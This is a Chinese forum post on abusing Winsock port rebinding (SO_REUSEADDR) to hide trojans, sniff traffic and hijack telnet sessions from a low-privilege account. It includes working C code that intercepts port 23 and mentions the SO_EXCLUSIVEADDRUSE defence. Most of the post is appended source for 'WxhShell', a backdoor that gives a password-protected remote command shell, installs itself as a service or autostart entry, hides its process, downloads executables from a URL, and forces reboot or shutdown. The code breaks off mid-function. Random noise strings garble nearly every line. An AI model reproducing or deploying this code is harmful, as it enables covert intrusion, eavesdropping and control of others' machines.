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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @RFJe$%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5WU ? Km  
lehuJgz'OO  
  saddr.sin_family = AF_INET; IltU6=]"l  
iVqXf;eB!5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \:`-"Ou(*  
V.Qy4u7m  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e[*%tx H  
Q[UYNQ0w  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^DOQ+  
o&U/e\zy  
  这意味着什么?意味着可以进行如下的攻击: [eO6 H2@=z  
l\1_v7s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !DNk!]|  
OZi4S3k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sD ,FJ:dy  
"|W``&pM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [gxH,=Pb  
EK<ly"S.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C{P:1ELYXH  
2kVQ#JyuRI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cux<7#6af  
1n|K   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?emYLw  
+a}>cAj*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [pYjH+<  
*-.,QpgTX  
  #include 7/GL@H  
  #include |;MW98 A  
  #include zTS#o#`!\  
  #include    rv;is=#1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >XK |jPK  
  int main() R1NwtnS  
  { rhA>;9\  
  WORD wVersionRequested; a7wc>@9Q,  
  DWORD ret; `CF.-Vl3J#  
  WSADATA wsaData; TxXX}6  
  BOOL val; $V2.@ X  
  SOCKADDR_IN saddr; ?-D'xqc  
  SOCKADDR_IN scaddr; N(= \S:  
  int err; fMZzR|_18  
  SOCKET s; dtd}P~  
  SOCKET sc; Z }s56{!.  
  int caddsize; %:/?eZ  
  HANDLE mt;  D/]  
  DWORD tid;   )G=hgqy  
  wVersionRequested = MAKEWORD( 2, 2 ); Ki(  
  err = WSAStartup( wVersionRequested, &wsaData ); iK3gw<g  
  if ( err != 0 ) {  - j_  
  printf("error!WSAStartup failed!\n"); Z]x)d|3;  
  return -1; gL}x| Q2`  
  } Zia<$kAO  
  saddr.sin_family = AF_INET; S^*ME*DDz  
   ^b@&O-&s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pCt0[R;?  
/j:fc?yv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gO,2:,  
  saddr.sin_port = htons(23); VSW"/{Lp  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8xQjJ  
  { XVWVY}  
  printf("error!socket failed!\n"); P2>Y0"bY  
  return -1; uPQrDr5  
  } odNHyJS0  
  val = TRUE; CGY,I UG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 CWW|?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j^qI~|#  
  { Y4)v>&H  
  printf("error!setsockopt failed!\n"); :1,xse  
  return -1; Kb,#Ot  
  } mj _ V6`m4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0FG|s#Ig  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'e5,%"5(c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L qdz qq  
IM$I=5y e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F`U YgN  
  { ZKco  
  ret=GetLastError(); vQhi2J'  
  printf("error!bind failed!\n"); CyEEE2cV  
  return -1; |dI,4Z\Qb  
  } ztHEXM.  
  listen(s,2); 9G"-~C"e3  
  while(1) 1H]E:Bq  
  { Dh~Z 8!*  
  caddsize = sizeof(scaddr); pSh$#]mZ`  
  //接受连接请求 to"[r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n,.t~  
  if(sc!=INVALID_SOCKET) %5|DdpES  
  { rN5;W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8j<+ ' R  
  if(mt==NULL) StWF66u34&  
  { 7<p? E7  
  printf("Thread Creat Failed!\n"); PP_fTacX  
  break; vhj^R5=  
  } ]`GDZw`  
  } PML +$  
  CloseHandle(mt); gP 6`q  
  } JHIXTy__  
  closesocket(s); O| zLD  
  WSACleanup(); X"pp l7o  
  return 0; 1l`$.k  
  }   iz pFl@WS  
  DWORD WINAPI ClientThread(LPVOID lpParam) PZsq9;P$  
  { 6h_OxO&!U  
  SOCKET ss = (SOCKET)lpParam; _mSQ>BBRl  
  SOCKET sc; z~+gche>  
  unsigned char buf[4096]; qtLXdSc  
  SOCKADDR_IN saddr; gdVajOAu  
  long num; wM#BQe3t#  
  DWORD val; J 8""}7D  
  DWORD ret; 0nOp'Ky\k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ZUxlk+o9d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ":upo/xN  
  saddr.sin_family = AF_INET; l5bd);L tq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); BpQ/$?5E"  
  saddr.sin_port = htons(23); Z6XP..  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wr+1G 8  
  { \r+8}8  
  printf("error!socket failed!\n"); aA/.EAc7  
  return -1; ]\_T  
  } [6Nw)r(a(  
  val = 100; J)xc mK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A"8"e*  
  { _Z|3qQ  
  ret = GetLastError(); wRi` L7  
  return -1; &QQ8ut,;  
  } rtM!|apr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  U|HF;L  
  { i`2X[kc  
  ret = GetLastError(); ugI9rxT]Kv  
  return -1; aj:B+}1  
  } A+Xk=k5<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k)a-odNrb  
  { s s*% 3<  
  printf("error!socket connect failed!\n"); @Ja8~5:  
  closesocket(sc); CNiUHUD  
  closesocket(ss);  `=h`:`  
  return -1; = NHzh!  
  } 2"~QI xY=  
  while(1) 4,|A\dXE  
  { d* 6 lJT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %EooGHGF?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :2KLziO2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DGwN*>X  
  num = recv(ss,buf,4096,0); DP D%8a)?  
  if(num>0) _IOt(Zb(  
  send(sc,buf,num,0); SOI$Mx  
  else if(num==0) U Ux]  
  break; WYb\vm =r  
  num = recv(sc,buf,4096,0); O,kzU,zOs  
  if(num>0) exqFwmhh  
  send(ss,buf,num,0); L]goHs  
  else if(num==0) %\ i 7  
  break; gqje]Zc<  
  } E,[@jxP  
  closesocket(ss); E-\<,=bh  
  closesocket(sc); $EB&]t+  
  return 0 ; -o8H_MR  
  } Z. ))=w6G  
3U<\s=1?X  
A?V[/  
========================================================== 0Jh^((i*  
:3s5{s   
下边附上一个代码,,WXhSHELL n4cM /unU  
\G?GX  
========================================================== +P?!yH,n  
P,x'1 `k~  
#include "stdafx.h" @?$x  
UN <s1  
#include <stdio.h> hlpi-oW`  
#include <string.h> F_9eju^|  
#include <windows.h> JC~L!)f  
#include <winsock2.h> }7>r,  
#include <winsvc.h> 4LRrrW  
#include <urlmon.h> +rw?k/  
{8)Pke  
#pragma comment (lib, "Ws2_32.lib") [*<F   
#pragma comment (lib, "urlmon.lib") 4!pMZ<$3  
M^c`j#NQ  
#define MAX_USER   100 // 最大客户端连接数 e6C;A]T2E  
#define BUF_SOCK   200 // sock buffer GJ:65)KU  
#define KEY_BUFF   255 // 输入 buffer j@xerY  
}fps~R  
#define REBOOT     0   // 重启 @l)HX'z0d  
#define SHUTDOWN   1   // 关机 ?v4-<ewD  
9 )1 8  
#define DEF_PORT   5000 // 监听端口 ,m| :U  
4l/hh|3@  
#define REG_LEN     16   // 注册表键长度 M ABrf`<b  
#define SVC_LEN     80   // NT服务名长度 [?3]+xr :  
G%{J.J41F  
// 从dll定义API :.863_/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4K_rL{s0U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l<5@a (  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _MF:?p,l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J<g$hk  
&cDLSnR  
// wxhshell配置信息 k[9~Er+  
struct WSCFG { B$R"Ntp  
  int ws_port;         // 监听端口 )-D{]>8  
  char ws_passstr[REG_LEN]; // 口令 lSGtbSyDI  
  int ws_autoins;       // 安装标记, 1=yes 0=no L*a:j  
  char ws_regname[REG_LEN]; // 注册表键名 F *`*5:7  
  char ws_svcname[REG_LEN]; // 服务名 Sz_bjhyT}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 42*y27Dtm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KIyhvY~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~#z8Q{!O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tPv3nh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >o=O^:/L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [1+ o  
!GB\-(  
}; `/ W6, ]  
0GEM3~~D.?  
// default Wxhshell configuration HPz9Er  
struct WSCFG wscfg={DEF_PORT, sGg=4(D  
    "xuhuanlingzhe", v5 |XyN"  
    1, ,8=`Y9#  
    "Wxhshell", =ttvC"4?  
    "Wxhshell", ~ IPel  
            "WxhShell Service",  4RPc&%  
    "Wrsky Windows CmdShell Service", ^^q9+0@  
    "Please Input Your Password: ", 1~J:hjKQ  
  1, UH8q:jOi  
  "http://www.wrsky.com/wxhshell.exe", OV@MT^  
  "Wxhshell.exe" N*J!<vY"  
    }; u'Od~x^z  
9%{V?r]k  
// 消息定义模块 }> q%##<n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UweXz.x7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;Jh=7wx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r;>2L'  
char *msg_ws_ext="\n\rExit."; F0 .Rv):  
char *msg_ws_end="\n\rQuit."; `S`,H  
char *msg_ws_boot="\n\rReboot..."; QcW6o,  
char *msg_ws_poff="\n\rShutdown..."; 49('pq?D  
char *msg_ws_down="\n\rSave to "; Fe r&X  
eo#2n8I>=1  
char *msg_ws_err="\n\rErr!"; 1/JtL>SKE  
char *msg_ws_ok="\n\rOK!"; S*aVcyDEP  
m`;dFL7"E  
char ExeFile[MAX_PATH]; /$z(BX/  
int nUser = 0; dBWi1vTF  
HANDLE handles[MAX_USER]; 8fI]QW  
int OsIsNt; EgE% NY~  
Rcn6puZt  
SERVICE_STATUS       serviceStatus; _Wb3,E a=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u&M:w5EM  
c @U\d<{w  
// 函数声明 (+(YQ2  
int Install(void); D+nKQ4  
int Uninstall(void); ",v!geMvu  
int DownloadFile(char *sURL, SOCKET wsh); #<$pl]>}t  
int Boot(int flag); K~ch OX  
void HideProc(void); c"wk_ #  
int GetOsVer(void); %@,%A_So k  
int Wxhshell(SOCKET wsl); u5'jIqlU  
void TalkWithClient(void *cs); [=EmDP:@  
int CmdShell(SOCKET sock); q PveG1+25  
int StartFromService(void); T^Lg+g+I  
int StartWxhshell(LPSTR lpCmdLine); 6"o,)e/z  
oCxh[U@*D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cv=H6j]h |  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w/1Os!p  
Il4R R  
// 数据结构和表定义 C:9a$  
SERVICE_TABLE_ENTRY DispatchTable[] = j}`XF?2D  
{ hZwbYvu  
{wscfg.ws_svcname, NTServiceMain}, a>o]garB+  
{NULL, NULL} =Hd+KvA  
}; af>^<q  
5/E7@h ,  
// 自我安装 n40&4n  
int Install(void) n>XfXt =  
{ W2w A66MB  
  char svExeFile[MAX_PATH]; eZ G#op  
  HKEY key; >zS<1  
  strcpy(svExeFile,ExeFile); Zl\$9Q_  
+a'["Gjq;  
// 如果是win9x系统,修改注册表设为自启动 xTGdh  
if(!OsIsNt) { %E"dha JY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U)Jwo O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NY3/mS3w  
  RegCloseKey(key); /D>G4PP<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0s72BcP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >Tp`Kri  
  RegCloseKey(key); eJy}W /  
  return 0; 3%(BZ23  
    } jr2wK?LbB  
  } %jh gKq  
} hRI?>an  
else { 'E)g )@^  
\"| 7o8  
// 如果是NT以上系统,安装为系统服务 O!k C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x>Gx yVE  
if (schSCManager!=0) lcR1FbJ2'  
{ pmuT7*<19  
  SC_HANDLE schService = CreateService nc9sfH3  
  ( s?7"iE  
  schSCManager, ?BnX<dbi&  
  wscfg.ws_svcname, 1a tQ9  
  wscfg.ws_svcdisp, I\~sE Jwj  
  SERVICE_ALL_ACCESS, 9CFh'>}$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $2>"2*,04  
  SERVICE_AUTO_START, nU,~*Us  
  SERVICE_ERROR_NORMAL, 0]Qk*u<  
  svExeFile, 1xDh[:6  
  NULL, :I(d-,C  
  NULL, #:xv]qb`k  
  NULL, ^D?{[LBc  
  NULL, ftaa~h*  
  NULL =3EE-%eF!  
  ); 9P&{Xhs7  
  if (schService!=0) b6d}<b9#  
  { ^ pNA_s!S  
  CloseServiceHandle(schService); #]*]qdQWV^  
  CloseServiceHandle(schSCManager); mCSt.n~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); giHqc7-PaX  
  strcat(svExeFile,wscfg.ws_svcname); [{.9#cQ "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3XIL; 5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gx;-1  
  RegCloseKey(key); .\7AJB\l  
  return 0; ]VoJ7LoCZ'  
    } ,*Z/3at}5M  
  } NL-V",gI-~  
  CloseServiceHandle(schSCManager); er.;qV'Wz6  
} 9dFo_a*?  
} ~Z}DN*S  
d 0 mfqP=  
return 1; oC}2 Z{  
} ot,=.%O  
B=HE i\55K  
// 自我卸载 l{Xy %8  
int Uninstall(void) S\sy] 1*?$  
{ h|.{dv  
  HKEY key; ?nwg.&P  
^+}~"nvD  
if(!OsIsNt) { &#;lmYyaui  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ({mlA`d]  
  RegDeleteValue(key,wscfg.ws_regname); ]\F}-I[  
  RegCloseKey(key); W?gelu]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /0r6/ _5-.  
  RegDeleteValue(key,wscfg.ws_regname); Yb?(Q %  
  RegCloseKey(key); Lj1>X2.gD  
  return 0; KeWIC,kq  
  } ?ajVf./Ja  
} I\f\k>;  
} m0N{%Mf-  
else { hw1J <Pl*  
Mo]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YJ>P+e\o9  
if (schSCManager!=0) 7)*QX,4C  
{ \9 k3;zw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BOme`0A  
  if (schService!=0) WfYC`e7q  
  { :Fi$-g  
  if(DeleteService(schService)!=0) { cG!dMab(  
  CloseServiceHandle(schService); R) J/z  
  CloseServiceHandle(schSCManager); <[V1z=Eo/]  
  return 0; AS a)xf9  
  } @O8X )  
  CloseServiceHandle(schService); Asli<L(?`  
  } lI;ACF^  
  CloseServiceHandle(schSCManager); hs<OzM  
} [E0.4FLT!  
} *rmM2{6  
Mh=j^ [4Q  
return 1; !Aw.)<teW  
} *#j_nNM4  
/|8/C40aY  
// 从指定url下载文件 B>%;"OMp  
int DownloadFile(char *sURL, SOCKET wsh) |b+CXEzo  
{ Wo~;h (6  
  HRESULT hr; $j"BHpN  
char seps[]= "/"; RU% 4~WC  
char *token; {`V ^V_  
char *file; newURb,-!  
char myURL[MAX_PATH]; 0lS=-am  
char myFILE[MAX_PATH]; yE|hA2G?0  
z7R2viR[  
strcpy(myURL,sURL); )F4BVPI  
  token=strtok(myURL,seps); #O!gjZ,  
  while(token!=NULL) uEr['>  
  { ilwIqj  
    file=token; B[fbPrM  
  token=strtok(NULL,seps); c1 Hp  
  } TnJNs  
iIc/%< ;  
GetCurrentDirectory(MAX_PATH,myFILE); j {Sbf04  
strcat(myFILE, "\\"); *@g>~q{`  
strcat(myFILE, file); :Q"p!,X=-  
  send(wsh,myFILE,strlen(myFILE),0); 13f 'zx(AO  
send(wsh,"...",3,0); K6N+0#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6)_h'v<|M  
  if(hr==S_OK) L+_ JKc  
return 0; a=M/0N{!  
else YA~`R~9d  
return 1; =L*-2cE6#  
q:9CFAX0=  
} VUzRA"DP|  
!%/(a)B$^$  
// 系统电源模块 ;!)gjiapw  
int Boot(int flag) rbI 7 3'  
{ b 4A1M  
  HANDLE hToken; _eUd RL>  
  TOKEN_PRIVILEGES tkp; .-GC,&RO  
S+GW}?!  
  if(OsIsNt) { qEfg-`*M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t4+bRmS`_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hpo*5Va  
    tkp.PrivilegeCount = 1; CQH^VTQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d^I:{Ii'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 15R:m:T  
if(flag==REBOOT) { yv\ j&B|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e)aH7Jj#  
  return 0; R/l/GNm  
} >Zh^,T={G  
else { vGchKN~_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $'COsiK7  
  return 0; 9b)'vr*Hy7  
} {0 L)B{|  
  } p/KG{-f,  
  else { n,Q^M$mS0  
if(flag==REBOOT) { lKV7IoJ&;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S%o6cl=  
  return 0; eOJ_L]y-  
} -gpHg  
else { UD^=@?^7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BKQwF *<V  
  return 0; $>hH{  
} )u]1j@Id  
} :a_MT  
QT\"r T9#  
return 1; M>u84|`  
} /~P4<1  
.5iXOS0 G  
// win9x进程隐藏模块 Xuj=V?5  
void HideProc(void) 6yXN7L==x  
{ na3lbwq  
D{M& >.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a@m  64l)  
  if ( hKernel != NULL ) M7//*Q'?  
  { ;9hS_%ldX4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >z k6{kC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RU\MT'E>(  
    FreeLibrary(hKernel); Qk].^'\  
  } dl+:u}9M$  
G<`6S5J>hr  
return; _A6e|(.ll  
} Os1=V  
a 9Kws[  
// 获取操作系统版本 OK%d1M^8j  
int GetOsVer(void) $mn+  
{ #fq&yjl#A  
  OSVERSIONINFO winfo; -S 0dr8E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AP0z~e  
  GetVersionEx(&winfo); ;:8SN&).  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8!qzG4F/  
  return 1; `9Q O'^)  
  else M ~5Ja0N~  
  return 0; h4=7{0[  
} i:x<Vi  
Og2G0sWRf  
// 客户端句柄模块 ~U1M -<IX  
int Wxhshell(SOCKET wsl) kD#hfYs)i  
{ ML:H\  
  SOCKET wsh; Vs, &  
  struct sockaddr_in client; 0> U7]wZKc  
  DWORD myID; =&y6mQ  
Q,n Xc  
  while(nUser<MAX_USER) 7? qRz  
{ K#[ z5  
  int nSize=sizeof(client); a+P^?N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oe{,-<yck  
  if(wsh==INVALID_SOCKET) return 1; 3EA`]&d>  
gS.,V!#t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LteZ7e  
if(handles[nUser]==0) Df=Xbf>jt9  
  closesocket(wsh); (RI+4V1  
else *iXaQuT  
  nUser++; G>S3?jGk  
  } $mut v=IO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FXFyF*w2  
b:W x[+  
  return 0; AQgm]ex<  
} UI74RP  
s@pIcNvx  
// 关闭 socket M Jtn)gXb  
void CloseIt(SOCKET wsh) pRFlmg@/}  
{ .Tc?PmN  
closesocket(wsh); UUqA^yJ  
nUser--; Lo5CVlK  
ExitThread(0); 3/EJ^C  
} <Eh_  
#P;vc{ Iq  
// 客户端请求句柄 "eR-(c1  
void TalkWithClient(void *cs) jDCf]NvOPM  
{ x1`zD*{  
{1[f9uPS  
  SOCKET wsh=(SOCKET)cs; !'8jy_<9  
  char pwd[SVC_LEN]; fU ^5Dl  
  char cmd[KEY_BUFF]; ;6{{hc4  
char chr[1]; betTAbF  
int i,j; cD]#6PFA  
VMJK9|JC[  
  while (nUser < MAX_USER) { 30Udba+{]p  
l`?4O  
if(wscfg.ws_passstr) { xOdL ct  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jYnP)xX;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lfyij[6q+  
  //ZeroMemory(pwd,KEY_BUFF); 17yg ~  
      i=0; Hw%lT}[O  
  while(i<SVC_LEN) { vfOG(EkG.?  
8QN/D\uq  
  // 设置超时 DXx),?s>  
  fd_set FdRead; `{'h+v`  
  struct timeval TimeOut; 8o[+>W  
  FD_ZERO(&FdRead); F{FSmUxzK  
  FD_SET(wsh,&FdRead); (zIF2qY  
  TimeOut.tv_sec=8; /[>zFYaQ  
  TimeOut.tv_usec=0; &ej |DM6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :0(:}V3z\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,Zb_Pu   
h#]LXs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lr<?eWdCwJ  
  pwd=chr[0]; J9XV:)Yv#  
  if(chr[0]==0xd || chr[0]==0xa) { <M M(Z  
  pwd=0; >on' y+  
  break; 2[5z6oG  
  } iK9#{1BpML  
  i++; T#D*B]oZ}  
    } mM-7 j z  
!E9A=u{  
  // 如果是非法用户,关闭 socket h SU|rVi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zmh5x{US1  
} sH\ h{^  
vL~j6'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #5mnSky+s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8 qwOZ d  
}BLT2]y0  
while(1) { <R8!fc{`  
2jH&@g$cl;  
  ZeroMemory(cmd,KEY_BUFF); `sJv?  
J_>nn  
      // 自动支持客户端 telnet标准   s78V\Vw3  
  j=0; _43 :1!os  
  while(j<KEY_BUFF) { ~:):.5o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `zMR?F`  
  cmd[j]=chr[0]; (Q ~<>  
  if(chr[0]==0xa || chr[0]==0xd) { c4xXsUBQk  
  cmd[j]=0; Q)l~?Fx  
  break; p$bR M`R&s  
  } 2[yfo8H  
  j++; s&Ml1 A:  
    } =-8y =  
J5*(PxDF  
  // 下载文件 #;Z+ X)  
  if(strstr(cmd,"http://")) { ,: 4+hJ<q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  \%/zf  
  if(DownloadFile(cmd,wsh)) " uHU!)J#z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); - u'5xn7  
  else 6yPh0n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4z^5|$?_ta  
  } \z)` pno  
  else { -MT.qhx  
/d]{ #,k  
    switch(cmd[0]) { \A/??8cgXs  
  .T }q"  
  // 帮助 g)#.|d+  
  case '?': { L'$;;eM4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %!QY:[   
    break; )Qx&m}  
  } +5IC-=ZB  
  // 安装 ck\gazo~q  
  case 'i': { {\zB'SNq  
    if(Install()) 5W~-|8m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =K\.YKT  
    else $09PZBF,i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S#l6=zI7^R  
    break; H`X>  
    } > ;zQ.2*  
  // 卸载 SYmiDR  
  case 'r': { Uv"O'Z  
    if(Uninstall()) ? {vY3~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cp g+-Zf%  
    else @8qo(7<~Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wo8.tu-2  
    break; YR} P;  
    } (&t8.7O  
  // 显示 wxhshell 所在路径 %K|+4ZY3  
  case 'p': { 0-a[[hL?  
    char svExeFile[MAX_PATH]; /QK H30E  
    strcpy(svExeFile,"\n\r"); S6pvbaMZ  
      strcat(svExeFile,ExeFile); 4c/.#?  
        send(wsh,svExeFile,strlen(svExeFile),0); [j^c&}0  
    break; )>~d`_$dt  
    } Zn9ecN  
  // 重启 9#A&Qvyywg  
  case 'b': { KOM]7%ys1H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I3$/ #  
    if(Boot(REBOOT)) ?g\SF}2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jVhfpS[  
    else { BavGirCp  
    closesocket(wsh); K$(LiP  
    ExitThread(0); n:d7 Tv1Z8  
    } iS%md  
    break; >s+TD4OfY  
    } #O2e[ E-  
  // 关机 rAZsVnk?  
  case 'd': { ?}g#Mc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :i>/aRNh1  
    if(Boot(SHUTDOWN)) loPBHoE3@H  
